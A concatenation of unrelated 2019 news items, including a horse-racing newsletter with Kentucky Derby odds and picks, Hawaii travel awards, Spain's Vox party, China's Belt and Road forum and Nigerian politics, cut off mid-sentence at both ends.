to be a shorter price than Watchmakers 10-1. Watchmaker has Improbable at 8-1, Maximum Security at 10-1 and Tacitus at 10-1. Mike Battaglia for many years has been the person responsible for making the official Kentucky Derby morning-line odds. Battaglias morning line for this years Kentucky Derby will be announced after post positions for the race are drawn Tuesday. Meanwhile, here are my projected 2019 Kentucky Derby odds for the 20 horses to have earned enough points and are listed as intended starters in the 1 1/4-mile classic : 9-2 Omaha Beach 5-1 Roadster 6-1 Game Winner 6-1 Tacitus 10-1 Improbable 12-1 Maximum Security 15-1 Code of Honor 15-1 Vekoma 20-1 By My Standards 20-1 Tax 20-1 War of Will 20-1 Win Win Win 30-1 Country House 30-1 Cutting Humor 30-1 Haikal 30-1 Long Range Toddy 30-1 Plus Que Parfait 30-1 Spinoff 50-1 Gray Magician 50-1 Master Fencer As for my Kentucky Derby Top 10 this week, there are no changes from last week. As was the case last year, in next weeks final Kentucky Derby Top 10, I not only will rank them, I will have comments for each horse. Here are this weeks rankings, courtesy of Xpressbet: 1. Omaha Beach (1) 2. Maximum Security (2) 3. Game Winner (3) 4. War of Will (4) 5. Roadster (5) 6. Improbable (6) 7. Tacitus (7) 8. Vekoma (8) 9. Code of Honor (9) 10. Long Range Toddy (10) Santa Anita preview Not a particularly good card at Santa Anita on Friday, with eight races starting at 1 p.m. Or as we call it, the new normal. There are five maiden races, four of them claimers. With the shortage in the horse population, the racing office is faced with having to write races that fit the inventory. The fact that the downhill turf course is shut down for sprints makes things even more dicey. Imagine having a recipe that requires three eggs and you have only two. Thats where the racing office is. And, if you are going to ship a horse back East, are you more likely to ship a good horse that has a chance of winning or a less talented one that has little chance of winning? Once again, thats the horse population that the racing office must write races for. The feature on Friday is interesting, an allowance/optional claimer for fillies and mares going five furlongs on the turf. These are horses that normally would be coming down the hill. The favorite, at 9-5, is Moon Kitty for trainer Jack Carava and jockey Evin Roman. She was ninth in her last race, the Las Flores Stakes, but in her previous three races has a first, second and third in allowance races. Both Gliding By, for Richard Baltas and Flavien Prat, and Ficanas, for John Sadler and Martin Pedroza, are at 2-1. Gliding By won an allowance two back and Ficanas won an allowance last out. Here are the field sizes, in order: 7, 6, 5, 6, 8, 6, 6, 9. Ciaran Thorntons SA pick of the day RACE FIVE: No. 5 Etterbay Ucklay (8/1) Etterbay Ucklay is a first-time starter for trainer Ron Ellis and he legs up son-in-law Joe Talamo. I bet only Ellis-trained horses when he has Joe ride; after all it makes sense he would want to put bread in his daughters mouth if the horses are live! Ellis is a staggering 42% debuting in maiden claiming races like Friday and 30% in all claiming races. This type of race is where hes shining this year, and the 8-1 or more price is too good to ignore. Sundays result: We tried two approaches on Sunday. A 3-5 odds on favorite in Incredible Lucky that should have won by half the track based on paper stats. She lost to a first-time starter who was 6-1 morning line and went off as second favorite. Lucky could not even finish in the money and adds to a long line of bad favorites at this current meet. In Race 8, morning-line longshot at 8-1 Shanghai Truffles was bet down to 7-2 but was stuck four wide for the entire race before putting in a nice closing bid to run fourth. It was a very good effort and definitely a horse to watch for in the coming races. Look for her to route next start as the added distance with this closing speed will be perfect. She closed as we expected, but the front-runners, on this currently front-running-biased track, had the upper hand. While we have blanked so far, shopping for value over bad favorites remains the strategy. Ciaran Thornton is the handicapper for Californiapick4.com, which offers daily full card picks, longshots of the day, best bets of the day. Golden Gate weekend preview Were back with our weekly look at the best racing at Golden Gate Fields. As with the last couple of meetings, were delighted to have race caller and all-around good guy Matt Dinerman as our host for previews and other musings. So, take it away, Matt. The inaugural Gold Rush Weekend is upon us. Saturdays program has 13 races, led by the Grade 3 $250,000 San Francisco Mile on turf for 3-years-old and up going a mile on the grass. Five additional stakes are carded, including the $100,000 California Derby for 3-year-olds. There is a mandatory payout in the Golden pick 6 on Saturday, with the sequence going races 8-13. Heading into Fridays card, the jackpot was more than $328,000. If there continue to be carryovers, track officials expect the pool to hit $2 million. There will also be a $100,000 late pick 4 guarantee (races 9-13). The San Francisco Mile has a strong field of 10, led by Grade I winner Bowies Hero (9-5 morning line) and River Boyne (5-2). Another interesting entry is Wentwood, with one of the most successful trainers in the world in Dermot Weld. Wentwood travels from Ireland after a mile and a quarter victory against a large handicap field. Wentwoods travel companion, Jeff Byrnes, indicated that Wentwood shipped great and is very happy. The California Derby came up with nine runners. Baffert sends Kingly back to Golden Gate after a second-place finish to Anothertwistafate in the El Camino Real Derby while Sparkyville, who was last seen winning the Grade 2 San Vicente, makes his first start since then in the California Derby for trainer Jeff Bonde. Other 3-year-olds figuring to get betting support are El Camino Real Derby third-place finisher More Ice and recent Aqueduct maiden special weight winner Erlich, making his first start for the Blaine Wright barn. Other stakes include the $75,000 California Oaks for 3-year-old fillies, the $75,000 Golden Poppy Stakes for filly and mare turf routers, the $75,000 Lost in the Fog Stakes for sprinters on the Tapeta and the $75,000 Camilla Urso Stakes for filly and mare sprinters going 5 furlongs on the turf. The Sunday program has 12 races, including the $100,000 Silky Sullivan Stakes for California-bred or California sired 3-year-olds and the $100,000 Campanile Stakes for California-bred or California-sired 3-year-old fillies. Both races are one mile on the grass and drew 12 runners. The likely favorites in the Campanile are stakes performers Apache Princess, Dr. Wysong and Lippy, while the Silky Sullivan main contenders include Echo Eddie Stakes winner Lieutenant Dan and the well-regarded Our Silver Oak. Both stakes are part of the pick 4 sequence, which attracts field sizes of 10, 12, 12, 12. There is a $100,000 guaranteed pool. Los Alamitos weekend preview Its time to turn things over to marketing and media guru Orlando Gutierrez, who will tell us about the upcoming weekend at Los Alamitos. Orlando, the floor is yours. A pair of allowance races featuring stakes winners and major graded stakes finalists will highlight the eight-race program on Friday night at Los Alamitos. First post is 6 p.m. Teller Hez Famous leads a talented field of sophomores in an allowance in Fridays seventh at 330 yards. The gelding by One Dashing Eagle enters this race after facing a strong cast when eighth in the Grade 3 El Primero Del Ano Derby final on March 31. His rivals on Friday include stablemate I Like My Chances, who was seventh in the Grade 1 Los Alamitos Winter Derby earlier this year. Cavuto, who was the runner-up in the Los Alamitos Maiden Stakes on Feb. 17, is the 7-5 favorite. Fridays card will also have an allowance for older horses headed by Twisted Sifter, an eight-time winner and four-time stakes winner in 2018. The Roman Figueroa-trained gelding will be joined in this 330-yard race by Grade 2 stakes winner One Proud Eagle and Grade 1 finalist Scoopie Jess. The latter took on a field of Grade 1 caliber older horses when running a troubled fifth in the Moonist Handicap on March 29. There are no stakes races this weekend, but next week is the Grade 3 Kaweah Bar Handicap on Saturday night and the trials to the Grade 2 Robert Adair Kindergarten Futurity on Sunday night. Eight to 10 trials are expected for the Kindergarten with recent winner Diamond Rock looking like one of the top juveniles. Diamond Rock posted a brilliant 2 length win on April 20, while covering the distance in 15.563 seconds, the fastest by a 2-year-old this season. The son of Parsons Rock posted the third fastest of 38 works with 12.40 second clocking on March 19 and then followed it up by posting the fastest of 20 drills on April 2, going in 12.20 seconds. Dreams Divine, Chickitatas Favorite and Kid Around are among the other top young runners to watch in next Sundays Kindergarten trials. Ed Burgarts LA pick of the day FIFTH RACE: No. 1 Jazzy Icon (9-5) Trainer Matt Fales is winning at a solid 25% ratio this meet and he spots this gelding nicely at the $10,000 claiming level. Exiting a fourth-place finish at 100 yards in last outing, he figures to show plenty of gate speed while his main foes, Big Time Wild and L Bar D Classic Trip, have been trouble prone early. Jazzy Icon was third in a stakes last September and won at a similar class level last June. Key in the Pick 6, Pick 4 and Pick 3. Final thought If you would like to subscribe to the newsletter you can click here and sign up. Remember, its free, and all we need is your email, nothing more. Tell your friends, or even people you dont like that much. Any thoughts, you can reach me at johnacherwa@gmail.com. You can also feed my ego by following me on Twitter @jcherwa. Now, the star of the show, Fridays entries. Taipei, the capital of Taiwan, is like many a modern-day city: Its history and its state of being are complex. Immigrants from mainland China founded Taipei in the 1700s and, ultimately, the island become a province of China. It came under control of the Japanese in 1895. After World War II, it fell back under China, where the spread of communism sent Nationalist Chinese fleeing to Taiwan. Is it an independent entity or part of mainland China? The dispute about this continues as do the questions about how its people identify. Public opinion polls conducted since 1992 by National Chengchi University show a steady increase, from 17.6% to 54.5%, of Taiwanese people who identify as only Taiwanese, Alice Su wrote in a February Los Angeles Times article. Those who say they are both Taiwanese and Chinese have hovered around 40%. Those who identify as only Chinese have dropped from 25% to less than 4%. The contentious issues surrounding dominion and identity aside, Times staff writer Christopher Reynolds found much to enjoy on a trip in late 2017. Fortunately for most travelers, you dont need a political science degree to enjoy the scene around you, he said in his February 2018 article detailing it as a destination. Advertisement You can begin your exploration with a fare that will get you there economically. Fare: From LAX, $704 round trip to Taipei, Taiwan, on Eva Air Restrictions: Subject to availability; valid for travel Aug. 1-Nov. 30. You must buy your ticket by April 30. Info: Eva Air, (800) 695-1188 Source: Airfarewatchdog travel@latimes.com @latimestravel Want insider tips on some of the best places to eat, stay, sightsee and surf in Hawaii? Look no farther than the April issue of Hawaii Magazine. The magazines 2019 Best of the Best contains listings for more than 1,600 winners and runners-up. Readers chose their favorites in a range of categories, including Best Festival (Hawaii Islands Merrie Monarch hula festival), Best Historic Landmark (World War II Valor in the Pacific National Monument at Pearl Harbor) and Best Loco Moco (Rainbow Drive-In in Honolulu). The long list is big on spots to stay, eat and drink just what a visitor needs to know. Heres a sampling of some of the winners: Advertisement Best hotel, statewide: Grand Wailea Readers of Hawaii Magazine chose the Grand Wailea resort in South Maui as the states best hotel. The propertys features include the elegant spa, above. (Grand Wailea) The Grand Wailea, a family-friendly resort on Maui, took top honors. The property is known for a stunning spa and a plethora of swimming pools. (Theres a beach too) Best new hotel, statewide: Alohilani Resort Readers chose the Alohilani Resort on legendary Waikikii Beach as the top new hotel. (Alohilani Resort) A 280,000-gallon aquarium greets guests at the Alohilani Resort Waikiki Beach. The hotel is home to two restaurants created by the acclaimed Iron Chef Masaharu Morimoto: Morimoto Asia Waikiki and Momosan Ramen and Sake. Best luxury resort, Oahu: Turtle Bay Visitors seeking seclusion on Oahu can choose the North Shores Turtle Bay Resort as an alternative to bustling Waikiki. (Turtle Bay Resort) Turtle Bay Resort occupies an enviable spot along Oahus North Shore. For seekers of serenity, the hotel is roughly a 1-hour drive north of Waikiki Beach. Best value hotel or resort, Kauai: Waimea Plantation Cottages The view is idyllic from a lanai at Waimea Plantation Cottages on Kauai. (Waimea Plantation Cottages) Waimea Plantation Cottages boasts a 43-acre oceanfront location with a black sand beach. The 61 cottages were built between the late 1800s and the 1930s, and no two are the same. Best bed-and-breakfast or inn, Hawaii Island: Palms Cliff House The Palms Cliff House Inn is a secluded getaway north of Hilo, on the opposite side of Hawaii Island from the better-known hotels that dot the Kohala Coast. (Waimea Plantation Cottages) Palms Cliff House is an upscale boutique hotel with only eight rooms. It is in the village of Honomu, about 12 miles north of Hilo on the islands less-traveled eastern side. Best hotel or resort for a romantic getaway, Hawaii Island: Four Seasons Hualalai A lone cyclist pedals past one of the swimming pools at the Four Seasons Hualalai, one of several luxury resorts located along the Kohala Coast on Hawaii Island. (Four Seasons Hotels & Resorts) The Four Seasons Hualalai had multiple wins, including in the romance category. The resort is tucked away off the main road north of Kailua-Kona. The black lava landscape typical of the area contrasts with white sand beaches. Best beach for a wedding, Hawaii Island: Mauna Kea Beach Hotel Couples seeking a scenic setting for their wedding can consider Mauna Kea beach at the resort of the same name on Hawaii Island. The beach is public, like all of them in the state. (Mauna Kea Beach Hotel) With its sparkling, crescent-shaped beach, often considered one of the Big Islands best, the Mauna Kea Beach Hotel won this category. No worries if you cant afford the hotels prices; the beaches are free and open to the public. Best new restaurant in the state: Moku Roots Moku Roots in Lahaina was voted the best new restaurant in the state. Its offerings include the burger made from taro vegan, as are all its offerings. (Moku Roots) Readers voted Moku Roots in Lahaina on Maui their favorite new restaurant in the state. Its a vegan restaurant, and the eco-friendly owners strive to use locally sourced food and to create zero waste. Best cheap eats, Kauai: Da Crack Kauais favorite restaurant for bargain-hunters is Da Crack in Koloa. The restaurant serves tasty Mexican fare, including this shrimp bowl. (Da Crack) Da Crack in Koloa serves Mexican dishes for vegans and meat lovers. All of the seafood dishes feature locally caught fish. It also made the L.A. Times 20 meals for less than $20 list for Kauai. Best restaurant $30-$60 per person, Oahu: Surfing Pig Dining out in Honolulu can be pricey, but the Surfing Pig features a variety of dishes, including St. Louis-style ribs, at relatively modest prices. (Konos Restaurant Group) The prices at the Surfing Pig are comparatively inexpensive: $16 for St. Louis-style back ribs, $26.50 for brick chicken and $28 for pan-seared ahi. Best mai tai, statewide: Monkeypod Kitchen Readers ranked Monkeypod Kitchens signature mai tai No. 1 in the state of Hawaii. It is served at locations on Oahu and Maui. (Steve Czerniak) Monkeypod Kitchen, which has three locations on Maui and Oahu, uses local juices and rum for its signature drink. The cocktail is topped with a unique honey-passion fruit foam. Best bartender, Maui:. Dale Simonson Bartender Dale Simonson has been a familiar face at the Kaanapali Beach Hotels Tiki Bar for five decades. Readers gave him the title of top bartender on Maui. (Kaanapali Beach Hotel) This honor goes to Dale Simonson, the chief bartender at the Kaanapali Beach Hotels Tiki Bar. Simonson has been serving refreshing tropical cocktails at the poolside bar for half a century. Best hiking trail for beginners, Oahu: Diamond Head Summit Trail Visitors to Honolulu can ascend to the summit of Diamond Head, the iconic and long-extinct volcano, on a 1.6-mile round-trip hike rated as Oahus best for beginners. (Tor Johnson / Hawaii Tourism Authority) Diamond Head Summit Trail, southeast of Waikikis hotels, climbs 560 feet along the crater of the extinct volcano. Surfing, Kauai: Hanalei Bay The sheltered yet still challenging waters of Hanalei Bay make it an ideal destination on Kauai for both beginning and experienced surfers. (Brian J. Cantwell / Tribune News Service) For surfing on Kauai, Hanalei Bay, along the islands North Shore beside the village of Hanalei, is ranked No. 1 in both the beginner and expert categories. travel@latimes.com @latimestravel Flash The Chinese Embassy in Colombo on Thursday confirmed the death of a missing Chinese national after multiple bombings in Sri Lanka, which added the number of Chinese killed in the attacks to two with four others feared dead. The embassy said that it had cooperated with the Sri Lankan side and the family members to identify the Chinese victim. Chinese Ambassador Cheng Xueyuan told a press conference on Wednesday that one Chinese national was confirmed dead, four others, declared missing earlier, were feared dead pending further confirmation from their families and one was still missing. The ambassador also said five Chinese nationals were injured during the attacks, four of whom already went back to China and the remaining one was still hospitalized in Sri Lanka. On a clear, cool Sunday morning in February 1936, flight instructor Dwight F. Petersen stopped by his hangar at Dycer Airport. The door was open. His two-seater Taylor Cub aircraft was gone, and there was a note on the door. A Feb. 10, 1936, Los Angeles Times story reported: The note reads: WarningThis plane has been temporarily borrowed and will be returned in good condition in ten days. Any word to police or newspapers will cause me and my party to destroy the ship. By the time you receive this note, the plane will be in the San Francisco area. If you want any further discussion put a question in the morning paper under boats and airplanes. Leave the rest to me. Remember no more than ten days. Then you can turn it over to police. And if the trip turns out in my favor, you will be paid for your inconvenience. Petersen immediately took the note to the 77th Street police station. The police suspected smugglers and alerted authorities throughout the West. That evening, the Los Angeles County Sheriff's Department reported the plane crashed in Mint Canyon, near present-day Agua Dulce. The above image appeared in Feb. 11, 1936, Los Angeles Times. The accompanying short story reported: The plane, propeller broken and fuselage bent, was found about 500 feet above a makeshift landing field, leveled off during the past few weeks by the thief. Police have advanced the theory the field was intended as a base of operations for smuggling contraband goods across the border. Dycer Airport was at 94th Street and Western Avenue, east of Inglewood. According to the Abandoned & Little-Remembered Airports website, the airport closed between 1938 and 1941. Following World War II, homes were built on the site. I could not find any more information on the incident. The original negative has light streaks in the upper right portion of the image. See more from the Los Angeles Times archives here The nightclub was dark. A crowd of cocktail-holding partygoers mostly 20- and 30-year-olds waved Spanish flags and shouted, Viva Espana! They sang along to an electronic version of the Spanish national anthem and chanted Jail Puigdemont! in reference to the former president of Catalonia who fled the country a year and a half ago. One man made a fascist salute. Good evening patriots, yelled Ignacio Garriga, a candidate for Spains upcoming parliamentary elections, from the stage. This Sunday will be a historic day. This Sunday we are excited to start the reconquista of Spain. This Spain, he continued, is unaware of its enemies, who are the separatists, the communists, the revolutionaries and all of those who defend the discourse of the politically correct. Advertisement Rojos! Reds! a man jeered. This coming April 28 we are going to win to defend the future of our fatherland, Garriga said. Viva Espana! the crowd screamed back. The group of young people had gathered late Thursday night to support Vox, the xenophobic Spanish political party whose rhetoric contains echoes of former Spanish dictator Francisco Franco. After elections Sunday, Vox will likely be the first far-right party to enter parliament since Spains return to democracy 40 years ago. The setting was fraught with symbolism: Barcelona, the capital of Spains prosperous northeastern region of Catalonia, is the heart of a regional secessionist drive that prompted an angry backlash of Spanish nationalism and helped lead to the rise of Vox. Questions of national unity and identity have defined this springs general election Spains third in four years which Spanish Prime Minister Pedro Sanchez called after failing to pass a national budget in February. Its a very emotional election, said Jose Ignacio Torreblanca, director of the European Council on Foreign Relations in Madrid. Its very contested, very polarized, with a big question mark over where voters are going to go with national identity, with identification in relation to Catalonia. Analysts predict that no single party will gain a majority, meaning that parties will need to make coalitions in order to form a government. A coalition government would cement a new era of political fragmentation in Spanish politics, which had reliably seen a parliament ruled by the conservative Peoples Party or the Socialist Workers Party since the countrys transition to democracy following the death of Franco in 1975. In the background of the election is the Catalan independence crisis, which came to a head in October 2017 when separatists held an independence referendum deemed unconstitutional by the Spanish government. While the referendum only drew 40% of eligible voters, 90% of them voted to secede, and three weeks later, Carles Puigdemont, the regions president at the time, declared independence leading to Spains deepest constitutional crisis since its return to democracy. In response, the Spanish government, then led by the conservative Popular Party, fired the Catalan parliament, wrested control of the region, began arresting the movements leaders and called for fresh regional elections in December. At the time, separatists and some on the left criticized the Spanish government for acting with impunity. But Spaniards on the right didnt think the Popular Party went far enough. Former supporters of the Popular Party turned toward alternative parties like Vox and Citizens a center-right group known for its firm stance against Catalan independence who reject negotiation with separatists and call for another takeover of the region. You have to vote for Vox, because around a year ago Mariano Rajoy abandoned us, said Jose Lopez, 29, a Barcelona resident at the Thursday event, referring to the Popular Party prime minister. You have to bring order back to Spain. Rajoy was ousted in June following a vote of no confidence regarding a corruption scandal in his party. Socialist Sanchez formed a minority government with the backing of Catalan independentistas, leading his critics to accuse him of being too friendly with the separatists. But the same separatists failed to back his February budget, forcing him to call elections. Vox was founded in 2013 when a few members of the Popular Party broke off to form their own party with a tougher stance on Basque and Catalan nationalism. At the time, the party was small and wielded little influence, unlike nationalist, anti-immigrant right-wing movements that were spreading across Europe. But in December, Vox gained a footing in politics when it won 11% of the vote in Andalusian regional elections, surpassing expectations and helping to oust the Socialists who had held power there for 36 years. In the years since its founding, the party has adopted the populist playbook. Vox stokes fear of immigrants, demonizes feminists and urges a return to Spanish values in a country corrupted by left-wing extremists. Most essential to its platform is its call for Spanish unity. The party whose supporters are primarily 25- to 44-year-old middle- to middle-upper-class men, according to Spains Center for Sociological Investigations also employs language associated with Francos dictatorship and the Spanish age of conquest. Vox leaders call for the reconquest of Spain, harkening back to the 800-year Spanish campaign, completed in 1492, to expel Muslims from the Iberian Peninsula. They appeal to Spanish nationalism and urge their followers to thank God for having been born in the fatherland. At the Barcelona event, a congressional candidate played the song El Novio de la Muerte, a song associated with the Spanish Legion, a military body that Franco commanded in the 1920s. In all of this vocabulary, there is clearly a substratum of anti-democratism, of Francoism, said Matilde Eiroa San Francisco, a journalism professor at the University of Carlos III of Madrid. They dont negate it. Voxs rise also underscores a deep conflict in Spanish society about how to interpret Francos 40-year dictatorship. In June, Francos remains will be removed from the Valley of the Fallen, an imposing basilica the dictator had built, in part by forced labor, as a monument to his victory in the Spanish Civil War of 1936-39. The move, intended as a symbolic reckoning with the countrys past, sparked outcry from Spanish conservatives, some of whom dont consider Franco a dictator. Vox publicly denounced the exhumation. Earlier Thursday evening in Girona, the most independentista province in Catalonia and the city where Puigdemont lived before he fled, a crowd of about 100 people poured into a banquet hall to listen to speeches from local Vox candidates. Organizers were on high alert in such unwelcome territory. They employed three security guards and papered the windows to prevent journalists from peeking in. To one photographer standing outside the event, an attendee said gruffly, Take a photo of me and I will burn your camera. A pair of protesters tried to sneak into the venue with a Catalan flag. They were denied entry. Chinas flagship foreign policy initiative, designed to provide loans for infrastructure projects in developing nations, will meet higher standards for environmental protection and safeguards against corruption, Chinese President Xi Jinping said Friday in a keynote address at an international Belt and Road Initiative forum in Beijing. In pursuing the Belt and Road, everything should be done in a transparent way and we should have zero tolerance for corruption, said Xi, addressing some 40 global leaders and 5,000 attendees at the conference, the second since the investment program was launched in 2013. With more than $440 billion in loans already targeted to development projects across Asia, Africa, Europe and Latin America, the program has led to agreements with 125 countries. But it has also resulted in questions and criticism about the level of debt incurred by participating countries and whether China is using it as a geopolitical tool to trap developing nations in order to expand its worldwide influence. The global lending project came under scrutiny in December 2017, when Sri Lanka, unable to meet debt payments on a port that China constructed, handed the port over to China on a 99-year lease. The incident caused widespread accusations that this was Chinas secret strategy: debt trap diplomacy, a plan to load developing countries with unmanageable debt, then take over strategic assets when they default. Advertisement In a markedly moderate speech, Xi, who in 2013 called Belt and Road the project of the century amid imagery of ancient travels across the ancient Silk Road, stressed Friday that Chinas overseas projects would meet higher standards on debt, environmental protection and corruption. He called for the adoption of international acceptable standards in the bidding process for the projects and framed it as a multilateral initiative, inviting participation from financial institutions and encouraging other nations to co-finance projects. There are no official statistics on how much has been repaid thus far, or how much of the debt is at risk of default, according to Chinas central bank governor, Yi Gang. The lowest estimate of how much China will spend on Belt and Road in total, based on infrastructure promises, averages around $1 trillion. Belt and Road originally referred to a trail of Chinese infrastructure projects along land and sea routes between China and Europe. But other countries outside the route have since joined and critics, including the Trump administration, have questioned just what China is using the Belt for. Vice President Mike Pence, speaking at an Asia Pacific Economic Cooperation summit in November, said, We dont drown our partners in a sea of debt, we dont coerce, compromise your independence. We do not offer a constricting belt or a one-way road. When China comes calling, its not always to the good of your citizens, Secretary of State Michael R. Pompeo said at a news conference in Mexico in October. He said Chinese state-owned enterprises were clearly not transparent, clearly not market-driven, and designed not to benefit local people, but rather to benefit the Chinese government. Some scholars counter that there is no evidence that Chinas plan is to entrap developing countries. Deborah Brautigam, director of the Africa-China Research Initiative at Johns Hopkins University, said the Sri Lanka port is the only one out of more than 3,000 Belt and Road projects that has ended in a 99-year lease. Weve not seen a pattern of deliberate entrapment in order to get some strategic advantage, Brautigam said. In a 2018 study of African countries debt, Brautigam found that China was the major creditor to three countries at high risk of debt distress: Zambia, Djibouti and Congo. In the other 14 low-income countries at risk of debt distress, Chinas share of the debt was less than that of other major lenders such as the World Bank and the Paris Club, an informal group of mostly wealthy countries including France, Japan and the United States. If you look historically, the debt trap issue was not caused by Chinese loans alone. Most debt was historically accumulated by the loans from the World Bank, Asian Development Bank, other institutions, said Baogang He, an international relations professor at Australias Deakin University. So China is an additional factor thats deepening the debt, but China is not alone. Nadege Rolland, a political expert at the National Bureau of Asian Research, said China has a history of using economic power for political goals, but that doesnt mean every Belt and Road deal is meant as a trap. The use of the economic instrument both as incentive and as a possible coercive tool is definitely in the line of what Beijing is thinking, Rolland said. But debt trap diplomacy gives it a level of intention that Im not sure Beijing had. They probably just seized this opportunity. China has also shown willingness to cancel or renegotiate debt. According to consultants Development Reimagined and the Oxford China Africa Consultancy, China had canceled or restructured 98 instances of debt from 2000 to 2018, totaling $9.8 billion. However, most of those cancellations were for values of less than $100 million, and there have been fewer cancellations since 2013. Developing countries should negotiate more to secure favorable deals with China, suggested Hannah Ryder, founder of Development Reimagined and former head of policy and partnerships with the U.N. Development Program in China. With China, if you dont ask, you dont get, Ryder said. Its up to the countries themselves to say, This is what we want from China. We want a project that is cost-effective. Several Belt and Road countries seem to be doing just that. Malaysian Prime Minister Mahathir Mohamad recently halted and renegotiated a major Belt and Road railway project, cutting the price by one-third. Myanmar cut back the cost of a Chinese port project from $7.3 billion to $1.3 billion last year. Other countries including Thailand, Nepal, Bangladesh, the Maldives and Pakistan, one of Chinas closest allies, have backed away from Chinese projects, cancelling or asking to renegotiate deals. Countries are now more cautious. They are more apprehensive of the terms that might complicate each project. So now countries are eager to vet the terms of lending from China before they sign on to something, said Indian scholar Brahma Chellaney. Negotiations are going to get touchier for China. It is good, because it cuts down on corrupt practices. Corruption and cronyism are major risks since most projects are financed by state banks and implemented by state-owned companies, some with a history of bribery and fraud. One of the most active state-owned enterprises, the China Communications Construction Co., was debarred by the World Bank for eight years on charges of fraudulent bidding in a Philippines highway project. Last year, Bangladesh blacklisted one of its subsidiaries, China Harbor Engineering Company, for offering bribes to a government official. In Malaysia, Chinese officials reportedly offered to bail the former government out from a scandalous multibillion-dollar graft case in exchange for Belt and Road deals. In Sri Lanka, money from Belt and Road construction funds went into campaign funds for a former presidents election. The risk is compounded by the sheer reach of the program and the slowdown of Chinas domestic economy. It might become a nightmare for China because its strategic overreach, He said. Chinese officials, however, quarter little patience for criticism of Belt and Road, which is enshrined in the Communist Party Constitution and regularly feted by state media as a sign of Chinas benevolent rise. Last summer, Tsinghua University law professor Xu Zhangrun wrote an essay criticizing Xi and questioning the wisdom of lavishing money on the program when China has economic problems at home. He has since been suspended from teaching. And in August, 84-year-old retired economics professor Sun Wenguang was criticizing the program in a live phone broadcast interview when police suddenly entered his home and forced him off-air. People are poor. Lets not throw our money in Africa, he said, before the line went dead. The United States did not send any high-level official to the forum, but its trade talks with China are scheduled to resume next week. President Trump remarked Thursday that Xi would come to the White House soon, without specifying when or why. Xi did not mention the ongoing U.S.-China trade war in his address Friday but did touch on several of its key issues. He said China would strengthen intellectual property protection, allow foreign businesses to operate in more sectors, lower tariffs, increase imports and avoid currency depreciation. We need to promote trade and investment liberalization, to say no to protectionism, to push economic globalization to develop in a more open, inclusive, balanced, win-win direction, Xi said. Chinas Belt and Road Forum lays groundwork for a new global order How an island nations new leaders are trying to unravel a web of secret deals with China China has spent billions in Africa, but some critics at home question why Globalization 2.0: How Chinas two-day summit aims to shape a new world order Chinas dream of a new Silk Road runs into hurdles at its first stop: Pakistan Flash Iraqi Foreign Ministry said on Thursday that Iraq and Russia signed a number of agreements and memorandums of understanding (MoUs) in various fields. A statement by the ministry said that Iraqi Foreign Minister Mohammed al-Hakim and visiting Russian Deputy Prime Minister Yury Borisov, signed the minutes of the joint meeting of the eighth session of the Joint Iraqi-Russian Commission. The two sides "agreed to develop and strengthen the joint cooperation in various productive and service sectors," the statement said. "They also agreed to take all measures to remove obstacles that hamper the trade and investment exchange between the two countries," it added. "The meeting resulted in the signing of a number of agreements and MoUs in various fields, including trade, finance and banking as well as education," the statement said. In February, Maksim Maksimov, Russian ambassador to Baghdad, said that the Russian investments in the Iraqi oil and gas sector have amounted to more than 10 billion U.S. dollars, and the Russian companies intend not to stop at this investment volume. - Mohammed Bago, a House of Reps member on the platform of the APC is insisting on contesting for the position of speaker - The APC has already adopted Femi Gbajabiamila for the position - Bago expressed optimism that the struggle for demanding the north central be equally recognised as other regions will eventually materialise for the benefit of all An All Progressives Congress (APC) lawmaker in the House of Representatives, Mohammed Bago, has kicked against the adoption of Femi Gbajabiamila for the position of speaker in the ninth National Assembly by the leadership of the party. The APC lawmaker consequently insisted that he would not step down for the party's choice. "I am still very much in the race for the speakership of the ninth National Assembly, I did not step down for anybody," he said. READ ALSO: APC ticket: Governor Bello plans move to Accord Party However, Bago disclosed in series of tweets on Wednesday, April 24, that nothing would stop him in his struggle for demanding that the north central be equally recognised and rewarded as other regions. He expressed optimism that the struggle for demanding the north central be equally recognised and rewarded as other regions will eventually materialise for the benefit of all and sundry. READ ALSO: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda Meanwhile, Legit.ng had reported that the Niger state chapter of the APC dealt a blow to the speakership aspiration of Bago after it backed Femi Gbajabiamila for the position. The APC in Niger state after a meeting held at the government House in Minna decided to back the candidature of Gbajabiamila in line with the position of the national leadership of the party. The Niger APCs state chairman, Jibril Imam, who disclosed the outcome of the meeting to journalists said the state chapter and National Assembly members from the state could not go contrary to the stand of the partys national leadership on who to emerge as leaders of the 9th Assembly. NAIJ.com (naija.ng) -> Legit.ng: Same great journalism, upgraded for better service! No lawmaker is in the House of Assembly for the people - on Legit TV. Source: Legit Nigeria - The federal government has sought the assistance of the Russian federation to build nuclear power plants in Nigeria and modernise the countrys military arsenal Nigeria's defence minister said Russias experience in counter terrorism operations is required to bring the scourge of Boko Haram to an end - According to Dan-Ali, the terrorists have carried out series of bombings of public places and killed many innocent citizens in northeast of the country The federal government on Wednesday, April 24, solicited the cooperation of Russia to eliminate the Boko Haram insurgents from Nigeria and the Lake Chad Basin countries. News Agency of Nigeria (NAN) reports that the minister of defence, Mansur Dan-Ali, made the appeal at the 8th Moscow Conference on International Security. Dan-Ali also sought Russias cooperation in securing the maritime domain of the Gulf of Guinea. A copy of the ministers speech was made available to newsmen in Abuja. READ ALSO: INEC urges court to return APC candidate as Osun governor Dan-Ali said Russias experience in counter terrorism operations is required to bring the scourge of terrorism (Boko Haram) to an end. He said: Military and technical assistance in this respect will be highly appreciated.'' He added that its cooperation in critical infrastructural development, especially the modernisation of Nigerias military arsenal is needed. It is the intention of Nigeria to leverage on Russias support to attain technological emancipation of our Military Industrial Complex and training of Nigerians especially in medicine, science and technology. Dan-Ali expressed concern over the rise in terrorism and insurgency in the continent with specific reference to Boko Haram in Lake Chad Basin countries, Al-Shabaab in Somalia/Kenya, and Islamic State in Mali. Since 2009, my country Nigeria has been combating terrorism engendered by an Islamic Sect called Boko Haram. Members of the Boko Haram sect have carried out series of bombings of public places and killed many innocent citizens. READ ALSO: NAIJ.com upgrades to Legit.ng: a letter from our Editor-in-Chief Bayo Olupohunda "The group has over the years been receiving inspiration, training as well as mutual support from other transnational terror groups within and outside Africa. Nonetheless, owing to the sustained counter insurgency operations by Nigeria and other countries of the Lake Chad Basin Commission which include Benin, Niger, Chad and Cameroon, the Boko Haram terror network has been overwhelmed and the leadership structure is presently decimated," he said. The minister expressed gratitude to the Russian government for its numerous training and scholarship which have been of immense benefit to Nigerians over the years, as well as recent military hardware procurement initiative. He said: The region remains increasingly dangerous for seafarers. From the International Maritime Bureau Report of 2019, the Gulf of Guinea accounts for all six 